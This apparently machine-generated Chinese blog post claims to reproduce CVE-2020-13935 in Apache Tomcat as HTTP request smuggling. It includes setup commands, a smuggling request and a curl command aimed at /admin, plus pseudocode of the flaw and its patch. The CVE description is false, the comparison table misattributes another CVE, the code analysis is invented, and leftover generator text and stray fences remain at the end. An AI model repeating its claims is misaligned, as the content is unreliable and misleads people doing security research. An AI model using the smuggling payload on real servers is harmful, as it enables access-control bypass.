如何进行CVE-2020-13935复现与浅析

发布时间:2021-12-18 18:28:44 作者:柒染
来源:亿速云 阅读:501
# 如何进行CVE-2020-13935复现与浅析

## 一、漏洞背景

**CVE-2020-13935**是Apache Tomcat中的一个HTTP请求走私漏洞(HTTP Request Smuggling),于2020年10月公开披露。该漏洞影响Tomcat 10.0.0-M1至10.0.0-M6、9.0.0.M1至9.0.37以及8.5.0至8.5.57版本,攻击者可通过构造特殊HTTP请求绕过安全限制或干扰其他用户的请求处理。

### 漏洞原理
漏洞源于Tomcat对`Transfer-Encoding: chunked`头部的处理存在缺陷。当请求同时包含`Content-Length`和`Transfer-Encoding`头部时,Tomcat可能错误地采用`Content-Length`作为请求体长度判断依据,导致请求解析不一致(即前端代理服务器与后端Tomcat对请求边界的理解不同)。

---

## 二、环境搭建

### 1. 受影响版本安装
```bash
# 以Tomcat 9.0.37为例
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.37/bin/apache-tomcat-9.0.37.tar.gz
tar -xzf apache-tomcat-9.0.37.tar.gz
cd apache-tomcat-9.0.37/bin
./startup.sh

2. 测试工具准备


三、漏洞复现步骤

步骤1:构造恶意请求

通过Burp Suite发送以下请求:

POST /vulnerable-endpoint HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com

关键点说明: - 第一个Content-Length: 6声明请求体长度为6字节(实际后续数据更长) - Transfer-Encoding: chunkedContent-Length同时存在 - 0表示第一个”chunk”结束,后续数据被Tomcat错误解析为新的请求

步骤2:观察响应差异

正常情况应返回400 Bad Request,但受影响版本会: 1. 将0之后的数据解析为第二个请求 2. 执行GET /admin请求(可能绕过认证)

步骤3:验证请求走私

通过多次请求观察是否出现响应混淆:

curl -X POST -H "Transfer-Encoding: chunked" -H "Content-Length: 6" -d "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n" http://localhost:8080/

四、漏洞分析

代码层面问题

org.apache.coyote.http11.Http11Processor中,处理请求头时存在以下逻辑缺陷:

// 伪代码
if (headers.contains("Transfer-Encoding")) {
    useChunked = true;
} else if (headers.contains("Content-Length")) {
    useContentLength = true;
}
// 未正确处理两者同时存在的情况

攻击场景

  1. 权限绕过:走私请求访问受限路径
  2. 缓存投毒:污染代理服务器缓存
  3. 会话劫持:劫持其他用户的请求

五、修复方案

官方补丁

升级至以下版本: - Tomcat 10.0.0-M7+ - Tomcat 9.0.38+ - Tomcat 8.5.58+

补丁关键修改:

// 修复后逻辑
if (headers.contains("Transfer-Encoding")) {
    if (headers.contains("Content-Length")) {
        // 明确拒绝两者共存
        throw new IllegalArgumentException(...);
    }
    useChunked = true;
}

临时缓解措施

  1. 配置反向代理拒绝含Transfer-EncodingContent-Length的请求
  2. 使用WAF规则拦截畸形请求

六、深度思考

同类漏洞对比

漏洞编号 影响组件 攻击类型 根本原因
CVE-2020-13935 Tomcat 请求走私 头部解析冲突
CVE-2019-0232 Tomcat RCE CGI参数注入
CVE-2018-11784 Struts2 RCE 表达式注入

HTTP请求走私防御建议

  1. 标准化HTTP头处理逻辑
  2. 禁用非必要的HTTP方法
  3. 严格校验请求边界

七、参考资料

  1. Apache Tomcat Security Advisory
  2. CWE-444: HTTP Request Smuggling
  3. PortSwigger: HTTP Request Smuggling

本文仅用于安全研究学习,请勿用于非法用途。 “`

该文档包含: 1. 完整的漏洞复现流程 2. 技术原理分析 3. 修复方案与防御建议 4. 标准化Markdown格式(代码块、表格、标题层级等) 5. 实际可操作的命令和请求示例

可根据需要调整环境版本或补充具体渗透测试场景细节。

推荐阅读:
  1. 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析
  2. 浅析PHP与Python进行数据交互

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

上一篇:如何进行mongo-express远程代码执行cve-2019-10758漏洞浅析及复现

下一篇:如何进行springboot配置templates直接访问的实现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》